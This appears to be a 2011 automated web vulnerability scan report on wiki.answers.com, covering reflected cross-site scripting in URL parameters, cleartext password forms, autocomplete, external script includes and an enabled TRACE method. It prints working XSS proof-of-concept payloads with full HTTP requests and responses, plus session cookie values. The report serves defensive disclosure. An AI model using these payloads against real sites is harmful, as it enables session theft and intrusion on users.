Cross Site Scripting, Improper Neutralization of Input, CWE-79, wiki.answers.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ccb7"><script>alert(1)</script>3c658dbb52a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Q3ccb7"><script>alert(1)</script>3c658dbb52a/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=5pce097jgmrc57a98lv68kt2e5; 5pce097jgmrc57a98lv68kt2e5=n%3A0%3A%7B%7D; activeRadio=all; __utmz=31541870.1297445883.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=31541870.807314955.1297445883.1297445883.1297445883.1; __utmc=31541870; __utmb=31541870.1.10.1297445883; WSS_GW=V1z%B^@CCQiBC; CTG=1297445824; __qca=P0-801753685-1297445887007

Response

HTTP/1.1 200 OK
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Feb 2011 17:38:58 GMT
X-Varnish: 1013401011
Age: 0
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 80317

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.fac
...[SNIP]...
<base href="http://wiki.answers.com/Q3ccb7"><script>alert(1)</script>3c658dbb52a/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process" target="_top">
...[SNIP]...

1.2. http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61f5a"><script>alert(1)</script>1f39e29fad9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process61f5a"><script>alert(1)</script>1f39e29fad9 HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=5pce097jgmrc57a98lv68kt2e5; 5pce097jgmrc57a98lv68kt2e5=n%3A0%3A%7B%7D; activeRadio=all; __utmz=31541870.1297445883.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=31541870.807314955.1297445883.1297445883.1297445883.1; __utmc=31541870; __utmb=31541870.1.10.1297445883; WSS_GW=V1z%B^@CCQiBC; CTG=1297445824; __qca=P0-801753685-1297445887007

Response

HTTP/1.1 200 OK
Server: Apache
Set-Cookie: PHPSESSID=78vqi01lj68b29mo1m3ej881j3; path=/; domain=.answers.com
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Feb 2011 17:39:22 GMT
X-Varnish: 1119763174
Age: 0
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 49229

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com
...[SNIP]...
<link rel="canonical" href="http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process61f5a"><script>alert(1)</script>1f39e29fad9" />
...[SNIP]...

1.3. http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be993"><script>alert(1)</script>0d5432063ab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process?be993"><script>alert(1)</script>0d5432063ab=1 HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=5pce097jgmrc57a98lv68kt2e5; 5pce097jgmrc57a98lv68kt2e5=n%3A0%3A%7B%7D; activeRadio=all; __utmz=31541870.1297445883.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=31541870.807314955.1297445883.1297445883.1297445883.1; __utmc=31541870; __utmb=31541870.1.10.1297445883; WSS_GW=V1z%B^@CCQiBC; CTG=1297445824; __qca=P0-801753685-1297445887007

Response

HTTP/1.1 200 OK
Server: Apache
Set-Cookie: 5pce097jgmrc57a98lv68kt2e5=n%3A0%3A%7B%7D; path=/; domain=.answers.com
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Feb 2011 17:38:36 GMT
X-Varnish: 1013396762
Age: 0
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 79857

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns
...[SNIP]...
<base href="http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process?be993"><script>alert(1)</script>0d5432063ab=1" target="_top">
...[SNIP]...

1.4. http://wiki.answers.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 155eb"><script>alert(1)</script>94353820e1f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico155eb"><script>alert(1)</script>94353820e1f HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=5pce097jgmrc57a98lv68kt2e5; 5pce097jgmrc57a98lv68kt2e5=n%3A0%3A%7B%7D; activeRadio=all; __utmz=31541870.1297445883.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=31541870.807314955.1297445883.1297445883.1297445883.1; __utmc=31541870; __utmb=31541870.1.10.1297445883; WSS_GW=V1z%B^@CCQiBC; CTG=1297445824; __qca=P0-801753685-1297445887007

Response

HTTP/1.1 404 Not Found
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Feb 2011 17:37:46 GMT
X-Varnish: 2077878239
Age: 0
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 42095

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com
...[SNIP]...
<link rel="canonical" href="http://wiki.answers.com/favicon.ico155eb"><script>alert(1)</script>94353820e1f" />
...[SNIP]...

1.5. http://wiki.answers.com/resources/tac.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/resources/tac.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2887f"><script>alert(1)</script>8c221d037d3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /resources2887f"><script>alert(1)</script>8c221d037d3/tac.html?site=wa&query=Why%20are%20pro%20forma%20financial%20statements%20important%20to%20the%20financial%20planning%20process&tacref=http%3A%2F%2Fwww.answers.com%2F HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Referer: http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=5pce097jgmrc57a98lv68kt2e5; 5pce097jgmrc57a98lv68kt2e5=n%3A0%3A%7B%7D; __utmz=31541870.1297445883.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=31541870.807314955.1297445883.1297445883.1297445883.1; __utmc=31541870; __utmb=31541870.1.10.1297445883; __qca=P0-801753685-1297445887007; CP=null*; activeRadio=all; __utmz=268455671.1297445910.1.1.utmcsr=answers.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=268455671.1970603801.1297445910.1297445910.1297445910.1; __utmc=268455671; __utmb=268455671.1.10.1297445910; statref=http%3A//www.answers.com/; staturl=http%3A//wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process; statlpans=5; WSS_GW=V1z%B^@CCQiBC; CTG=1297445858

Response

HTTP/1.1 200 OK
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Feb 2011 17:38:20 GMT
X-Varnish: 1013393204
Age: 0
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 79141

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.fac
...[SNIP]...
<base href="http://wiki.answers.com/resources2887f"><script>alert(1)</script>8c221d037d3/tac.html?site=wa&query=Why%20are%20pro%20forma%20financial%20statements%20important%20to%20the%20financial%20planning%20process&tacref=http%3A%2F%2Fwww.answers.com%2F" target="_top">
...[SNIP]...

1.6. http://wiki.answers.com/resources/tac.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/resources/tac.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6aece"><script>alert(1)</script>3e6cca5a300 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /resources/tac.html6aece"><script>alert(1)</script>3e6cca5a300?site=wa&query=Why%20are%20pro%20forma%20financial%20statements%20important%20to%20the%20financial%20planning%20process&tacref=http%3A%2F%2Fwww.answers.com%2F HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Referer: http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=5pce097jgmrc57a98lv68kt2e5; 5pce097jgmrc57a98lv68kt2e5=n%3A0%3A%7B%7D; __utmz=31541870.1297445883.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=31541870.807314955.1297445883.1297445883.1297445883.1; __utmc=31541870; __utmb=31541870.1.10.1297445883; __qca=P0-801753685-1297445887007; CP=null*; activeRadio=all; __utmz=268455671.1297445910.1.1.utmcsr=answers.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=268455671.1970603801.1297445910.1297445910.1297445910.1; __utmc=268455671; __utmb=268455671.1.10.1297445910; statref=http%3A//www.answers.com/; staturl=http%3A//wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process; statlpans=5; WSS_GW=V1z%B^@CCQiBC; CTG=1297445858

Response

HTTP/1.1 404 Not Found
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Feb 2011 17:38:53 GMT
X-Varnish: 1119757658
Age: 0
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 42481

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com
...[SNIP]...
<link rel="canonical" href="http://wiki.answers.com/resources/tac.html6aece"><script>alert(1)</script>3e6cca5a300" />
...[SNIP]...

2. Cleartext submission of password previous next
There are 2 instances of this issue:

/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process
/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

2.1. http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://wiki.answers.com/Q/javascript:doregister();

The form contains the following password fields:

wpPassword
wpRetype

Request

GET /Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=5pce097jgmrc57a98lv68kt2e5; 5pce097jgmrc57a98lv68kt2e5=n%3A0%3A%7B%7D; activeRadio=all; __utmz=31541870.1297445883.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=31541870.807314955.1297445883.1297445883.1297445883.1; __utmc=31541870; __utmb=31541870.1.10.1297445883; WSS_GW=V1z%B^@CCQiBC; CTG=1297445824; __qca=P0-801753685-1297445887007

Response

HTTP/1.1 200 OK
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Feb 2011 17:37:29 GMT
X-Varnish: 1119740398 1114574140
Age: 45405
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 79546

                                                   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns
...[SNIP]...
</div>
       <form name="registerForm" id="registerForm" action="javascript:doregister();" method="post" accept-charset="utf-8">
               <input type=hidden name="wpCreateaccount" value="1">
...[SNIP]...
</label>
           <input type="password" name="wpPassword" value="" tabindex=2 id="password" /><br/>
...[SNIP]...
</label>
           <input type="password" name="wpRetype" value="" tabindex=3 id="password2" />
       </div>
...[SNIP]...

2.2. http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://wiki.answers.com/Q/javascript:dologin();

The form contains the following password field:

wpPassword

Request

Response

HTTP/1.1 200 OK
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Feb 2011 17:37:29 GMT
X-Varnish: 1119740398 1114574140
Age: 45405
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 79546

                                                   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns
...[SNIP]...
</div>
       <form name="loginform" action="javascript:dologin();" method="post" accept-charset="utf-8">
               <input type=hidden name="isBasic" value="1">
...[SNIP]...
</label>
           <input type="password" tabindex=2 name="wpPassword" value="" id="password" /><br/>
...[SNIP]...

3. Password field with autocomplete enabled previous next
There are 2 instances of this issue:

/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process
/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

3.1. http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process

Issue detail

The page contains a form with the following action URL:

http://wiki.answers.com/Q/javascript:dologin();

The form contains the following password field with autocomplete enabled:

wpPassword

Request

Response

HTTP/1.1 200 OK
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Feb 2011 17:37:29 GMT
X-Varnish: 1119740398 1114574140
Age: 45405
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 79546

                                                   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns
...[SNIP]...
</div>
       <form name="loginform" action="javascript:dologin();" method="post" accept-charset="utf-8">
               <input type=hidden name="isBasic" value="1">
...[SNIP]...
</label>
           <input type="password" tabindex=2 name="wpPassword" value="" id="password" /><br/>
...[SNIP]...

3.2. http://wiki.answers.com/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process previous

Summary

Severity:	Low
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process

Issue detail

The page contains a form with the following action URL:

http://wiki.answers.com/Q/javascript:doregister();

The form contains the following password fields with autocomplete enabled:

wpPassword
wpRetype

Request

Response

4. Cross-domain script include previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/Q/Why_are_pro_forma_financial_statements_important_to_the_financial_planning_process

Issue detail

The response dynamically includes the following scripts from other domains:

http://en.site1.answcdn.com/templates/scripts/~XcdekjfgilsryaNOxlxtydSnHoGLWxj.js?v=79844
http://pagead2.googlesyndication.com/pagead/show_ads.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

Response

HTTP/1.1 200 OK
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Fri, 11 Feb 2011 17:37:29 GMT
X-Varnish: 1119740398 1114574140
Age: 45405
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 79546

                                                   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns
...[SNIP]...
<link rel="shortcut icon" href="/favicon.ico" />

<script src="http://en.site1.answcdn.com/templates/scripts/~XcdekjfgilsryaNOxlxtydSnHoGLWxj.js?v=79844" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
</script>
   <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
   </script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

5. TRACE method is enabled previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: wiki.answers.com
Cookie: 7ff6d991c79760f1

Response

HTTP/1.1 200 OK
Date: Fri, 11 Feb 2011 17:37:13 GMT
Server: Apache
Vary: X-Varnish,X-CLIENTIP,Host
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: wiki.answers.com
Cookie: 7ff6d991c79760f1
Connection: Keep-Alive
X-AnsW-rEAl-HosT: 173.193.214.243
X-CLIENTIP: 173.193.214.243
X-ORIG-URL: /
X-Varnish: 1013379808

6. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://wiki.answers.com
Path:	/favicon.ico

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: wiki.answers.com

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/plain; charset=utf-8
Content-Length: 519
Date: Fri, 11 Feb 2011 17:37:13 GMT
X-Varnish: 1013379917 962597683
Age: 290853
Via: 1.1 varnish
Connection: close
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0

User-Agent: *
Allow: /
Disallow: /Q/Special:CommunityForum
Disallow: /Q/Special:SupersForum
Disallow: /Q/UserDiscuss:
Disallow: /Q/Special:Logs&target=Deletion_log
Disallow: /Q/Special:Search

User-Ag
...[SNIP]...

7. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://wiki.answers.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

